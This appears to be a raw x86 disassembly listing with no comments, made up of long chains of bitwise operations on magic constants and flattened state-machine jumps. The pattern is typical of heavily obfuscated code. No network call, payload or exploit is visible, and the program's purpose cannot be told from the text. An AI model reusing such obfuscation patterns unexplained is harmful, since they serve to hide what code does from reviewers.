mov ah, byte [esp + 8]
mov byte [esp + 8], bl
or cl, dl
mov edx, ecx
and dl, al
xor al, cl
xor ah, byte [esp + 0x14]
or al, dl
mov ecx, eax
xor cl, 1
or al, cl
or ah, byte [esp + 0x10]
xor al, 1
or al, cl
mov cl, ah
mov ch, ah
xor cl, 1
mov edx, ecx
and dl, ah
mov ah, cl
and ah, dl
xor dl, cl
or cl, ch
mov ch, bh
or dl, ah
mov ah, dl
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, 1
mov dh, dl
and dh, cl
xor dl, dh
xor dh, 1
or dh, cl
mov cl, bh
xor dh, 1
and cl, bl
or dh, dl
mov dl, bl
xor dl, cl
xor cl, 1
mov ah, cl
or ch, cl
or cl, bl
xor ah, bl
xor cl, 1
xor ch, 1
or cl, ah
mov ah, bh
or ch, dl
mov bh, dh
xor cl, 1
or ah, bl
mov dl, ch
mov bl, cl
xor bl, ah
or ah, cl
mov cl, dh
xor ah, 1
xor cl, 1
or ah, bl
and bh, cl
or dh, cl
xor dl, ah
xor bh, 1
xor dh, 1
and ch, dl
and dl, ah
xor ch, 1
xor dl, 1
mov bl, ch
xor bl, dl
or dl, ch
xor dl, 1
or dl, bl
mov ch, dl
and dl, ah
xor ah, 1
xor ch, 1
and ah, ch
or dl, ah
xor ch, dl
and ch, dl
mov dl, cl
xor dl, bh
or bh, cl
xor bh, 1
or bh, dl
mov dl, al
xor bh, 1
xor dl, 1
mov ah, bh
xor bh, dl
xor bh, 1
or ah, dl
and bh, dl
mov bl, ah
xor bh, 1
xor bl, bh
or bh, ah
xor bh, 1
or bh, bl
mov bl, al
xor bh, 1
and bl, dl
mov ah, bh
xor bh, al
and ah, al
or bh, ah
mov ah, bl
xor ah, 1
and ah, dl
mov dl, bl
xor dl, al
and dl, bl
and bl, al
or bl, ah
xor dl, 1
xor bl, 1
mov eax, edx
xor al, bl
or bl, dl
mov dl, cl
and dl, dh
xor dh, cl
xor bl, 1
or dh, dl
or bl, al
mov al, bh
mov cl, dh
xor al, 1
xor cl, 1
or cl, bl
xor bl, 1
or bl, dh
mov edx, ecx
xor dl, bl
or bl, cl
xor bl, 1
or bl, dl
mov cl, bl
xor cl, 1
and bl, cl
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov dl, bh
or dl, al
mov dh, bl
xor dl, 1
xor dh, 1
xor bh, dl
or bl, dh
mov ah, bh
and bh, dl
xor ah, 1
mov dl, bh
and dl, ah
xor bh, ah
or bh, dl
mov dl, bl
xor bl, cl
or dl, cl
mov cl, dl
xor cl, bl
xor bl, 1
or bl, dl
xor cl, 1
xor bl, 1
or bl, cl
mov cl, bh
xor cl, 1
mov ah, bl
mov dl, cl
and dl, bh
xor cl, dl
xor dl, 1
or dl, bh
xor dl, 1
or dl, cl
mov cl, bl
xor cl, 1
and cl, bl
xor cl, 1
xor ah, cl
or cl, bl
xor cl, 1
or cl, ah
mov ah, al
or ah, dh
xor dh, al
xor cl, dl
mov al, ah
mov dl, cl
xor al, dh
xor dh, 1
xor dl, 1
or dh, ah
xor al, 1
xor dh, 1
or dh, al
mov al, dh
xor al, 1
and dh, al
mov ah, al
and ah, dh
xor dh, al
mov al, dl
or dh, ah
mov ah, ch
xor dh, 1
xor ah, 1
xor cl, dh
and al, dh
xor dh, dl
or dh, al
mov al, cl
xor al, dh
or dh, cl
mov cl, ch
xor dh, 1
and cl, ah
or dh, al
mov al, ch
xor al, ah
or ah, ch
or al, cl
mov cl, ah
xor cl, 1
and ah, cl
mov dl, cl
xor ah, 1
xor dl, ah
or ah, cl
xor ah, 1
or ah, dl
mov dl, cl
or cl, ch
xor ah, ch
xor dl, ch
xor cl, 1
mov ch, al
or cl, dl
xor ah, 1
xor ch, 1
xor cl, 1
mov dl, ah
and dl, cl
xor cl, ah
mov ah, al
or cl, dl
mov dl, al
xor al, cl
xor al, 1
and al, cl
xor cl, 1
and dl, cl
xor ah, cl
xor cl, ch
or ah, dl
xor cl, 1
mov dl, ah
and cl, ch
mov ch, al
xor dl, 1
and ch, cl
xor cl, al
mov al, dl
or cl, ch
and al, ah
mov ch, al
xor al, dl
and ch, dl
or al, ch
mov ch, cl
xor al, cl
xor ch, 1
mov cl, ah
and cl, ch
xor ch, ah
or ch, cl
mov cl, al
xor ch, 1
and cl, ch
xor ch, al
mov al, dh
xor al, 1
or ch, cl
and dh, al
mov cl, al
and cl, dh
xor dh, al
or dh, cl
mov bl, dh
mov al, dh
xor bl, 1
and bl, dh
xor bl, 1
xor al, bl
or bl, dh
mov dh, ch
xor bl, 1
or bl, al
mov al, ch
xor al, 1
or dh, al
mov dl, al
mov ah, al
mov cl, dh
xor dl, dh
and dh, al
xor cl, 1
and dl, al
and cl, ch
or dh, cl
mov cl, dl
and cl, dh
xor dh, dl
mov dl, al
or dh, cl
and dl, ch
mov cl, dh
and ah, dl
xor dl, al
xor cl, 1
or dl, ah
or cl, dh
xor dl, 1
xor dh, cl
xor ch, dl
xor dh, 1
xor ch, 1
and dh, cl
mov cl, bl
or ch, dl
xor cl, 1
mov eax, ecx
mov dl, cl
or al, bl
or dl, al
xor al, cl
and cl, bl
mov ah, dl
xor cl, 1
xor ah, al
xor al, 1
or al, dl
mov dl, bl
xor ah, 1
xor dl, cl
or cl, bl
xor al, 1
xor cl, 1
or al, ah
mov ah, ch
or cl, dl
xor al, 1
xor ah, 1
mov dl, cl
xor cl, bl
and dl, bl
mov bl, byte [esp]
or cl, dl
xor cl, al
and al, cl
xor al, 1
mov dl, al
or al, cl
xor dl, cl
xor al, 1
or al, dl
mov dl, dh
xor dl, 1
mov cl, dl
or dl, ah
xor cl, ch
or ch, dh
or dh, ah
xor dh, 1
or dh, cl
mov cl, dl
or dl, ch
xor cl, ch
xor dl, 1
mov ch, al
or dl, cl
mov cl, dh
xor ch, 1
xor cl, dl
xor dl, 1
or dl, dh
xor cl, 1
mov dh, byte [esp + 0xc]
xor dl, 1
mov ah, dl
and ah, cl
xor cl, dl
mov dl, ch
or cl, ah
and dl, al
mov ah, ch
and ah, dl
xor dl, ch
or ch, al
or dl, ah
mov eax, edx
xor al, ch
or ch, dl
mov dl, byte [esp + 4]
xor ch, 1
or ch, al
mov al, ch
xor al, 1
xor dh, dl
and al, cl
xor cl, 1
xor dh, 1
and ch, cl
or ch, al
mov al, dh
or dh, dl
xor al, dl
xor dh, 1
or dh, al
mov al, byte [esp + 8]
xor dl, al
xor dl, 1
mov cl, dl
xor cl, al
xor al, bl
xor bl, al
and cl, dl
and bl, al
mov eax, ecx
mov ah, cl
xor al, 1
mov dl, al
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
mov ah, bl
or bl, cl
xor ah, 1
xor bl, 1
xor dl, ah
xor ah, al
mov al, dh
or bl, ah
mov cl, dl
xor al, 1
xor bl, 1
and cl, bl
xor bl, dl
or bl, cl
mov dl, bl
mov ah, bl
and al, bl
xor dl, 1
and ah, dl
mov cl, ah
xor ah, bl
xor cl, 1
or cl, dl
and dl, dh
xor cl, 1
or al, dl
or cl, ah
xor al, 1
xor cl, dh
or al, dh
mov ah, cl
mov edx, eax
xor ah, 1
xor dl, 1
and ah, al
or al, cl
and cl, dl
xor al, 1
or cl, ah
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
mov ah, cl
mov ebx, ecx
xor al, 1
and ah, al
mov dh, al
mov dl, ah
xor dh, ah
xor dl, 1
or dl, cl
xor dl, 1
or dl, dh
mov dh, dl
xor dh, 1
or dh, dl
mov dl, dh
and bl, dh
or dh, al
xor dl, 1
and dl, al
xor al, cl
or dl, bl
mov bl, dh
or al, ah
xor dl, 1
mov cl, al
xor bl, dl
or dl, dh
xor cl, 1
xor dl, 1
and al, cl
mov ah, cl
or dl, bl
and ah, al
xor al, cl
mov dh, dl
mov ebx, edx
or al, ah
xor dh, 1
and dh, dl
and bl, dh
xor dh, dl
or dh, bl
mov dl, dh
mov ah, dh
mov cl, dh
xor dl, 1
and ah, dl
xor cl, ah
xor ah, 1
or ah, dl
or dl, dh
xor ah, 1
or ah, cl
mov cl, al
xor cl, 1
xor dl, ah
and al, cl
mov ebx, ecx
mov dh, dl
and dl, ah
xor ah, 1
and bl, al
xor al, cl
xor dh, 1
or al, bl
mov cl, al
mov ebx, eax
xor cl, 1
xor bl, cl
and bl, al
mov al, dl
xor dl, dh
and al, dh
or dl, al
mov al, bl
xor al, 1
and al, bl
mov dh, al
xor al, bl
and dh, bl
or al, dh
xor al, 1
mov dh, al
xor al, dl
or dh, dl
xor al, 1
xor dh, 1
and al, dl
mov dl, dh
and dl, al
xor al, dh
or al, dl
mov dl, ah
or dl, cl
xor cl, ah
xor dl, 1
mov ah, dl
and ah, cl
xor cl, dl
or cl, ah
mov edx, ecx
xor dl, 1
mov ah, dl
and ah, cl
xor dl, ah
xor ah, 1
or ah, cl
xor ah, 1
or ah, dl
xor ah, al
mov cl, ah
xor cl, 1
and cl, al
mov al, cl
xor cl, ah
and al, ah
or cl, al
mov edx, ecx
mov eax, ecx
xor dl, 1
or al, dl
mov ah, al
xor ah, 1
and ah, cl
or cl, al
and al, dl
xor cl, 1
or al, ah
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ah, al
mov edx, eax
xor ah, 1
mov cl, ah
or cl, al
and dl, cl
xor cl, 1
mov dh, cl
xor dh, ah
and dh, cl
and cl, ah
or cl, dl
mov dl, dh
and dl, cl
xor cl, dh
mov dh, ah
and dh, al
or cl, dl
mov dl, dh
xor dh, ah
xor dl, 1
or dl, al
xor dl, 1
or dl, dh
mov dh, ch
xor ah, dl
or dl, al
xor dh, 1
xor ah, 1
xor dl, 1
or dl, ah
xor dl, cl
mov eax, edx
and dl, cl
xor al, 1
mov cl, dl
and cl, al
xor dl, al
or dl, cl
mov cl, dl
xor cl, 1
and dl, cl
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
mov ah, dl
xor ah, 1
or ah, dl
mov al, ah
mov dl, ah
xor al, 1
and al, ah
and dl, al
xor al, ah
or al, dl
mov dl, ah
xor ah, cl
and dl, cl
xor al, cl
or ah, dl
mov cl, ah
xor cl, al
xor al, 1
or al, ah
xor cl, 1
xor al, 1
or al, cl
mov ah, al
and ch, al
mov dl, al
xor ah, 1
xor dl, dh
and ah, dh
mov cl, dl
xor dl, dh
or ah, ch
and cl, dh
xor ah, 1
or dl, cl
or al, ah
or ah, dh
mov ecx, edx
mov ch, al
xor cl, 1
or ch, ah
xor ah, al
xor ch, 1
mov al, ch
and al, ah
xor ah, ch
or ah, al
mov ch, ah
mov al, ah
xor ch, cl
xor al, dl
or cl, ah
and ch, ah
or ah, dl
xor al, 1
xor cl, 1
mov edx, 0x37a6f1aa
xor ch, 1
or cl, al
mov al, ch
or ch, ah
xor cl, 1
xor al, ah
xor ch, 1
or ch, al
xor ch, cl
mov al, ch
xor al, 1
and al, cl
mov cl, al
xor cl, ch
test cl, 1
cmovne edx, esi
test ch, 1
mov ecx, edx
jmp 0x445b34
cmp ecx, 0x703e6e86
je 0x44c1c0
cmp ecx, 0x7a373ec2
jne 0x42f660
mov eax, dword [esp + 0x64]
mov edx, 0x68afd826
mov dword [esp + 0x130], eax
mov eax, dword [esp + 0x8c]
add eax, 6
mov dword [esp + 0xa0], eax
mov eax, dword [esp + 0xa0]
movzx eax, word [eax]
mov ecx, dword [esp + 0x130]
cmp ecx, eax
mov ecx, 0xeee08289
jmp 0x445cec
mov word [esp + 0x78], 0
mov esi, dword [esp + 0x7c]
xor eax, eax
mov eax, esi
and eax, 0xffff
mov word [esp + 0x78], ax
movzx eax, word [esp + 0x78]
push eax
push dword [esp + 0xd0]
call fcn.0042e830
add esp, 8
jmp 0x445c9d
mov eax, dword [esp + 0x120]
mov ecx, 0x4b1d1fe4
mov dword [esp + 0x60], eax
cmp ecx, 0xc1fcd15
jg 0x430b10
jmp 0x42f66c
mov ecx, 0xf4402f50
cmp ecx, 0xc1fcd15
jg 0x430b10
jmp 0x42f66c
mov eax, dword [esp + 0x80]
mov ecx, dword [esp + 0xa4]
add eax, dword [ecx + 0x28]
mov ecx, 0x391a1219
mov dword [esp + 0xb8], eax
mov eax, 0x1850f12e
cmp dword [esp + 0xb8], 0
jmp 0x44b18f
mov eax, dword [0x4d0db4]
lea edx, [eax - 1]
imul edx, eax
mov ecx, edx
mov ebp, edx
mov dword [esp + 4], edx
not ecx
and ebp, 0x5c908542
mov esi, ecx
mov eax, ecx
mov dword [esp], ecx
and esi, edx
and eax, esi
xor esi, ecx
or esi, eax
mov eax, esi
and esi, 0x15fc61b8
not eax
and eax, 0xea039e47
or esi, eax
mov eax, ecx
and eax, 0xa36f7abd
mov edi, esi
mov ebx, esi
xor esi, 0x426ffc4
or ebp, eax
xor edi, 0x4a82028
xor ebx, 0xea039e47
xor ebp, 0xa36f7abd
and esi, ebx
and edi, 0x2ca9242c
and ebx, 0xd356dbd3
or ebp, ecx
or ebx, edi
mov ecx, ebp
mov edi, ebx
xor ebx, 0xc28c45af
and ebp, 0xb6ab4643
not ecx
xor edi, 0xd356dbd3
mov eax, ecx
and ebx, edi
and ecx, 0x11da9e7c
and eax, 0x4954b9bc
or eax, ebp
mov ebp, ebx
and ebx, 0x69e173b7
not ebp
mov edx, ebp
and edx, 0x961e8c48
or ebx, edx
mov edx, esi
and esi, 0x69e173b7
not edx
or ebp, edx
and edx, 0x961e8c48
or esi, edx
not ebp
xor esi, ebx
or ebp, esi
mov esi, eax
xor eax, 0x588e27c0
xor esi, 0x4954b9bc
and eax, esi
mov edx, eax
and edx, ecx
xor ecx, eax
mov eax, ebp
and ebp, 0x8dc2a961
not eax
or ecx, edx
and eax, 0x723d569e
or ebp, eax
mov eax, ecx
and ecx, 0x8dc2a961
not eax
and eax, 0x723d569e
or ecx, eax
mov eax, edi
and eax, esi
xor esi, edi
xor ecx, ebp
mov ebp, dword [esp + 4]
or esi, eax
mov eax, esi
and esi, 0x845075fb
not eax
and eax, 0x7baf8a04
or esi, eax
mov eax, ecx
xor esi, 0x845075fb
and eax, esi
xor esi, ecx
or esi, eax
mov eax, esi
and esi, 0x2508042
not eax
mov ecx, eax
or eax, 0x32d588f7
and ecx, 0x308508b5
mov ebx, eax
and eax, 0xe2c73c01
or esi, ecx
not ebx
mov ecx, esi
xor esi, 0xe0873c01
and ebx, 0xd284308
xor ecx, 0x108042
and esi, 0xe2c73c01
or ebx, eax
and ecx, 0x101080f6
or ecx, esi
xor ebx, ecx
mov eax, ebx
and ebx, 0x32d588f7
not eax
and eax, 0xcd2a7708
or ebx, eax
mov edi, ebx
mov eax, ebx
xor edi, 0xf45cb66f
and eax, 0xe0a24121
and edi, ebx
not ebx
and ebx, 0x1f5dbede
or eax, ebx
mov esi, eax
mov edx, eax
xor eax, 0x1e3eaf3b
xor esi, 0x145cb64e
xor edx, 0xe0804000
or esi, 0xba34990
and edx, 0xfe9cee1a
mov ebx, esi
mov ecx, esi
or eax, edx
not ebx
and ecx, 0x7148f9e4
not eax
and ebx, 0x8414060b
or ebx, ecx
mov ecx, edi
and edi, 0x8eb7061b
not ecx
or esi, ecx
and ecx, 0x7148f9e4
or edi, ecx
not esi
mov ecx, ebp
xor edi, ebx
xor ecx, 0x86123ca2
or esi, edi
and ecx, ebp
and ebp, 0xaab780eb
mov edi, esi
not esi
and edi, 0xac05875
and esi, 0xf53fa78a
or esi, edi
mov edx, esi
and edx, eax
xor eax, esi
mov esi, ecx
and ecx, 0x3e7331b5
or eax, edx
not esi
mov edx, eax
not edx
mov dword [esp + 4], edx
mov edx, dword [esp]
and edx, 0x55487f14
or ebp, edx
mov edx, ebp
xor ebp, 0x4003c00
or ebp, 0x79edc35d
xor edx, 0x21200a0
mov edi, ebp
or ebp, esi
and esi, 0xc18cce4a
and edx, 0x61230a0
and edi, 0xc18cce4a
or ecx, esi
not ebp
or edx, edi
xor ecx, edx
or ebp, ecx
mov ecx, ebp
and ebp, 0xa4e6f666
not ecx
and ecx, 0x5b190999
or ebp, ecx
mov esi, ebp
xor ebp, 0xdd0b353b
xor esi, 0x6000c4
mov ecx, ebp
and ebp, 0xfe9cee1a
and esi, 0x16311e5
or ecx, 0x16311e5
or esi, ebp
mov edx, ecx
mov ebx, ecx
mov edi, esi
not edx
and ebx, 0x67240c3e
and esi, 0x98dbf3c1
not edi
and edx, 0x9898e200
or ecx, edi
and edi, 0x67240c3e
or edx, ebx
or esi, edi
not ecx
xor esi, edx
or ecx, esi
mov edx, ecx
and ecx, 0xc18a200
not edx
mov esi, edx
or edx, 0xc3ae22e
and esi, 0x22402e
or ecx, esi
mov esi, edx
and edx, 0xc94c5577
mov edi, ecx
xor ecx, 0xc1445577
not esi
xor edi, 0x410a200
and esi, 0x32810880
and ecx, 0xc94c5577
and edi, 0x432a208
or esi, edx
or edi, ecx
xor esi, edi
mov ecx, esi
and esi, 0xc3ae22e
not ecx
and ecx, 0xf3c51dd1
or esi, ecx
mov ecx, esi
and esi, 0x6bf56bfc
not ecx
and ecx, 0x940a9403
or esi, ecx
mov ecx, esi
xor esi, 0x84088000
xor ecx, 0x3450a6c
and esi, 0xecb8e190
and ecx, 0x13471e6f
or ecx, esi
mov esi, ecx
mov edi, ecx
xor ecx, 0xe2653916
xor esi, 0xecb8e190
xor edi, 0x13471e6f
mov ebx, esi
mov edx, edi
and esi, ecx
and ecx, edi
and ebx, 0xbebc874c
and edx, 0x414378b3
or edx, ebx
mov ebx, dword [esp + 4]
mov edi, edx
xor edx, 0xbebc874c
xor edi, 0x414378b3
and edi, eax
and edx, ebx
or edx, edi
mov edi, edx
xor edi, eax
and edi, edx
mov edx, eax
xor eax, 0xeddd886
and eax, ebx
and edx, 0xc1002508
and ebx, 0x30220271
or ebx, edx
xor ebx, 0x30220271
mov edx, ebx
and edx, eax
xor eax, ebx
mov ebx, ecx
and ecx, 0xd171a8d7
or eax, edx
mov edx, esi
not ebx
and esi, 0xd171a8d7
not edx
mov ebp, edx
or edx, ebx
and ebx, 0x2e8e5728
and ebp, 0x2e8e5728
or ecx, ebx
not edx
or esi, ebp
xor ecx, esi
or edx, ecx
mov ecx, eax
and eax, 0xfd588d10
not ecx
and ecx, 0x2a772ef
or eax, ecx
mov ecx, edx
and edx, 0xfd588d10
not ecx
and ecx, 0x2a772ef
or edx, ecx
mov ecx, edi
xor edx, eax
not ecx
mov eax, edx
and ecx, edx
mov edx, edi
not eax
xor edx, eax
and eax, edi
and edx, edi
or eax, ecx
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov edx, eax
mov ecx, eax
mov edi, eax
not edx
xor edi, 0x2faa382a
and ecx, 0xbaa002a
mov esi, edx
and edi, eax
and edx, 0x32ce5684
and eax, 0xcd31a97b
and esi, 0x24003800
mov ebx, edi
and edi, 0xcb42b7fd
or eax, edx
or ecx, esi
not ebx
mov edx, eax
xor eax, 0xcc52b89e
mov esi, ecx
xor ecx, 0xf455ffd5
xor edx, 0x1210161
mov ebp, ecx
xor esi, 0xb020028
or ecx, ebx
and ebx, 0x34bd4802
and edx, 0x16311e5
and ebp, 0x34bd4802
and esi, 0xb023028
or edi, ebx
not ecx
or eax, edx
or esi, ebp
mov edx, eax
xor edi, esi
not edx
or ecx, edi
and edx, 0x527f1d13
mov esi, ecx
and ecx, 0x895f5106
not esi
and esi, 0x76a0aef9
or ecx, esi
mov esi, ecx
xor ecx, 0x49020653
xor esi, 0xf02920
and ecx, 0xef07465f
and esi, 0x10f8b9a0
or ecx, esi
mov esi, ecx
xor ecx, 0xef07465f
xor esi, 0x119ba845
and ecx, esi
mov esi, ecx
mov edi, ecx
xor esi, eax
not edi
and eax, 0xad80e2ec
and esi, ecx
and edi, 0xad80e2ec
and ecx, 0x527f1d13
or edx, eax
or ecx, edi
mov eax, esi
and esi, 0x975c0756
xor edx, ecx
not eax
mov ecx, edx
mov edi, eax
and edx, 0x975c0756
not ecx
and edi, 0x68a3f8a9
or eax, ecx
and ecx, 0x68a3f8a9
or esi, edi
or edx, ecx
not eax
xor edx, esi
or eax, edx
mov edi, eax
mov ecx, eax
mov edx, eax
xor edi, 0xbd062a4b
or ecx, 0x42f9d5b4
not edx
and edi, eax
mov esi, ecx
mov ebp, ecx
mov ebx, edi
not esi
and ebp, 0xba02cc1f
and edi, 0x45fd33e0
not ebx
and esi, 0x5042240
or ecx, ebx
and ebx, 0xba02cc1f
or esi, ebp
mov ebp, edx
or edi, ebx
not ecx
and ebp, 0xee3732a7
xor edi, esi
or ecx, edi
mov edi, eax
mov esi, ecx
and ecx, 0x42f9d5b5
and edi, 0x5328d751
not esi
and esi, 0xbd062a4a
or ecx, esi
mov esi, edx
and esi, 0xacd728ae
or edi, esi
mov esi, edi
xor edi, 0xacd728ae
and edi, ecx
xor esi, 0x5328d751
not ecx
and esi, ecx
or edi, esi
mov esi, eax
xor ecx, edi
and esi, 0x11c8cd58
and ecx, edi
mov edi, edx
or ebp, esi
mov esi, eax
and edx, 0xfffffffe
and edi, eax
xor eax, 1
mov ebx, edi
and edi, 0xee3732a7
or eax, edx
not ebx
mov edx, eax
or esi, ebx
and ebx, 0x11c8cd58
not edx
or edi, ebx
not esi
and edx, 0x3774d8bf
xor edi, ebp
mov ebp, ecx
or esi, edi
and ebp, 0x75fe2927
mov edi, esi
and esi, 0x624b3d22
not edi
and edi, 0x9db4c2dd
or esi, edi
mov edi, esi
xor esi, 0x9db4c2dc
and edi, 1
and esi, 0xfffffffe
or esi, edi
mov edi, esi
xor edi, 1
and edi, esi
mov esi, edi
and edi, 0x3774d8bf
not esi
mov ebx, esi
and esi, 0xc88b2740
or ebx, eax
and eax, 0xc88b2740
or edi, esi
or edx, eax
not ebx
xor edx, edi
mov eax, ebx
and eax, edx
xor edx, ebx
mov ebx, ecx
or edx, eax
not ebx
mov edi, edx
mov esi, edx
not edi
and esi, 0x2ea9228d
mov eax, edi
and edi, 0xb7d308b0
and eax, 0xd156dd72
or esi, eax
mov eax, ebx
and eax, 0x8a01d6d8
or ebp, eax
mov eax, esi
xor esi, 0x8000d450
xor eax, 0x24a82005
and esi, 0x8a01d6d8
and eax, 0x75fe2927
or eax, esi
xor eax, ebp
mov ebp, ecx
not eax
and ebp, 0xcff9bbfc
or eax, ebx
and ebx, 0x30064403
or ebp, ebx
mov esi, eax
and eax, 0x799b20f1
xor ebp, edx
not esi
xor ebp, 0x30064403
mov ebx, esi
and esi, 0xcc6115db
and ebp, edx
and edx, 0x482cf74f
and ebx, 0x8664df0e
or edx, edi
or ebx, eax
xor edx, ecx
xor edx, 0xb7d308b0
and edx, ecx
mov ecx, ebp
and ecx, edx
xor edx, ebp
or edx, ecx
mov ecx, ebx
xor ebx, 0x4a05cad5
mov ebp, edx
xor ecx, 0x8664df0e
mov edi, edx
mov eax, edx
xor ebp, 0x339eea24
and ebx, ecx
or edi, 0xcc6115db
not eax
and ebp, edx
mov edx, ebx
and edx, esi
xor esi, ebx
mov ebx, edi
not ebx
or esi, edx
mov edx, edi
and edx, 0xff1da965
and ebx, 0x824200
or ebx, edx
mov edx, ebp
and ebp, 0xe2569a
not edx
or edi, edx
and edx, 0xff1da965
or ebp, edx
mov edx, esi
not edi
xor ebp, ebx
not edx
or edi, ebp
and edx, edi
not edi
and edi, esi
or edi, edx
mov edx, ecx
and edx, eax
xor eax, ecx
mov ecx, edi
or eax, edx
not eax
and ecx, eax
xor eax, edi
or eax, ecx
mov edi, eax
mov ebx, eax
mov ecx, eax
mov edx, eax
mov esi, eax
xor edi, 0x91288a9c
not ebx
or ecx, 0x6c200104
and edx, 0x29aaa665
and esi, 0x91008084
mov ebp, ebx
and edi, eax
mov eax, ebx
and ecx, 0x6c22539c
and ebp, 0x131d0c40
or eax, 0x131f5ed8
or ebp, ecx
mov ecx, eax
and eax, 0x6c22539c
not ecx
and ecx, 0x80c0a023
or ecx, eax
xor ecx, ebp
mov ebp, ebx
and ebx, 0x280a18
mov eax, ecx
and ebp, 0xd655599a
and ecx, 0x131f5ed8
or esi, ebx
mov ebx, edi
and edi, 0x644a6905
not eax
or edx, ebp
not ebx
and eax, 0xece0a127
mov ebp, edx
xor edx, 0xfb8141
or ecx, eax
xor ebp, 0x29002624
mov eax, ecx
and ebp, 0x29512724
xor ecx, 0x29512724
not eax
or edx, ebp
and eax, 0xd6aed8db
mov ebp, edx
and edx, 0xa303ceb5
or ecx, eax
not ebp
mov eax, ecx
and ebp, 0x5cfc314a
and ecx, 0xb35d6535
not eax
or edx, ebp
and eax, 0x4ca29aca
mov ebp, edx
xor edx, 0x5cfc314a
or ecx, eax
xor ebp, 0xa303ceb5
mov eax, ecx
xor ecx, 0x4ca29aca
and ebp, ecx
or ecx, edx
xor eax, 0xb35d6535
and edx, eax
not ecx
or edx, ebp
mov eax, ecx
and eax, edx
xor edx, ecx
or edx, eax
mov eax, edx
xor eax, 0xab1d847
and eax, edx
not edx
and edx, 0xab1d847
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
and eax, 0x23e0ff63
not ecx
and ecx, 0xdc1f009c
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and ecx, eax
and eax, 0xb56819b9
and edx, 0x4a97e646
or eax, edx
xor eax, 0xb56819b9
mov edx, eax
xor eax, ecx
and edx, ecx
or eax, edx
mov ecx, eax
and eax, 0xea1c5ccd
not ecx
mov edx, ecx
and ecx, 0x15e3a332
or edx, 0xea1c5ccd
or ecx, eax
mov ebp, edx
mov eax, edx
not ebp
and eax, 0xbf55d7ea
and ebp, 0xa22010
or ebp, eax
mov eax, ecx
and ecx, 0x40aa2815
not eax
or edx, eax
and eax, 0xbf55d7ea
or ecx, eax
not edx
xor ecx, ebp
or edx, ecx
mov ecx, esi
xor esi, 0x6eff7f7b
mov ebp, esi
xor ecx, 4
or esi, ebx
and ebx, 0x9bb596fa
mov eax, edx
and ebp, 0x9bb596fa
and ecx, 0x80804
or edi, ebx
not esi
not eax
or ecx, ebp
mov ebp, edx
xor edi, ecx
and ebp, 0x2016a5ef
or esi, edi
mov edi, edx
mov ecx, esi
and esi, 0xabeffdc7
xor edi, 0x80ac6026
not ecx
and edi, eax
and ecx, 0x54100238
or esi, ecx
mov ebx, esi
xor esi, 0xc0180884
xor ebx, 0x3ac7775b
and esi, 0xea1c5ccd
mov ecx, ebx
and ebx, 0x15e3a332
and ecx, 0xea1c5ccd
or ebx, esi
mov esi, ecx
and esi, ebx
xor ebx, ecx
or ebx, esi
mov esi, eax
and eax, 0xdfe95a10
or eax, ebp
or esi, 0x80ac6026
mov ecx, ebx
and ebx, 0xa81f00b8
mov ebp, esi
not eax
not ecx
or eax, edx
and ebp, 0xef879cef
and edx, 0x10500310
and ecx, 0x57e0ff47
or edx, ebp
mov ebp, edi
and edi, 0x10786310
or ebx, ecx
not ebp
mov ecx, ebx
and ebx, 0x9d7184b2
or esi, ebp
and ebp, 0xef879cef
not ecx
or edi, ebp
not esi
and ecx, 0x628e7b4d
xor edi, edx
or ebx, ecx
or esi, edi
mov ecx, ebx
xor ebx, 0x356e840a
mov edx, esi
and esi, 0x7f539fd9
xor ecx, 0xca917bf5
not edx
mov edi, ecx
and ecx, 0xdfe95a10
and edx, 0x80ac6026
and edi, 0x14f4a3fa
or esi, edx
mov edx, ebx
and edx, 0x2016a5ef
or ecx, edx
not ecx
or ecx, ebx
and ebx, 0xeb0b5c05
or edi, ebx
mov dword [esp], ecx
mov ecx, esi
mov edx, edi
and edi, 0xeb0b5c05
not ecx
not edx
and edx, 0x14f4a3fa
or edi, edx
mov edx, edi
mov edi, ecx
and edi, 0xdfe95a10
mov ebp, edx
mov dword [esp + 4], edi
mov edi, edx
and edx, ecx
and ebp, 0x2146b12d
not edi
mov dword [esp + 8], edx
mov edx, edi
mov ebx, edi
or ecx, edi
and edi, esi
xor esi, 0x2016a5ef
or esi, dword [esp + 4]
and edx, 0xdeb94ed2
and ebx, 0xdfe95a10
mov dword [esp + 0xc], ecx
mov ecx, eax
or edi, dword [esp + 8]
or edx, ebp
not ecx
mov ebp, dword [esp]
xor edx, 0xfeafeb3d
or ebx, edx
mov edx, eax
mov eax, esi
and ecx, esi
not eax
mov esi, eax
xor esi, edx
and edx, eax
and esi, eax
or edx, ecx
mov eax, esi
and esi, 0x493c5731
not eax
mov ecx, eax
and ecx, 0xb6c3a8ce
or esi, ecx
mov ecx, edx
and edx, 0x493c5731
not ecx
or eax, ecx
and ecx, 0xb6c3a8ce
or edx, ecx
not eax
xor edx, esi
mov esi, ebx
not esi
or eax, edx
mov edx, ebp
mov ecx, esi
not edx
xor ecx, ebp
and ebp, esi
and edx, ebx
and ecx, esi
or ebp, edx
mov esi, ecx
and ecx, 0x8613deea
not esi
mov edx, esi
and edx, 0x79ec2115
or ecx, edx
mov edx, ebp
and ebp, 0x8613deea
not edx
or esi, edx
and edx, 0x79ec2115
or ebp, edx
not esi
xor ebp, ecx
or esi, ebp
not esi
mov ecx, esi
xor esi, eax
or ecx, eax
not esi
not ecx
and esi, eax
mov eax, ecx
and eax, esi
xor esi, ecx
mov ecx, dword [esp + 0xc]
or esi, eax
not ecx
mov eax, ecx
and eax, edi
xor edi, ecx
or edi, eax
mov eax, edi
not eax
mov ecx, eax
and eax, edi
and edi, 0xb1cbc0d0
and ecx, 0x4e343f2f
or edi, ecx
xor edi, 0xb1cbc0d0
mov ecx, edi
xor edi, eax
and ecx, eax
mov eax, esi
or edi, ecx
mov ecx, esi
and eax, 0x2690128f
and esi, 0x49f0053a
mov edx, edi
not ecx
not edx
and ecx, 0xd96fed70
mov ebp, edx
or eax, ecx
mov ecx, edi
and edx, 0x2916c752
and ebp, 0xb60ffac5
and ecx, 0x49f0053a
mov ebx, eax
or ecx, ebp
mov ebp, eax
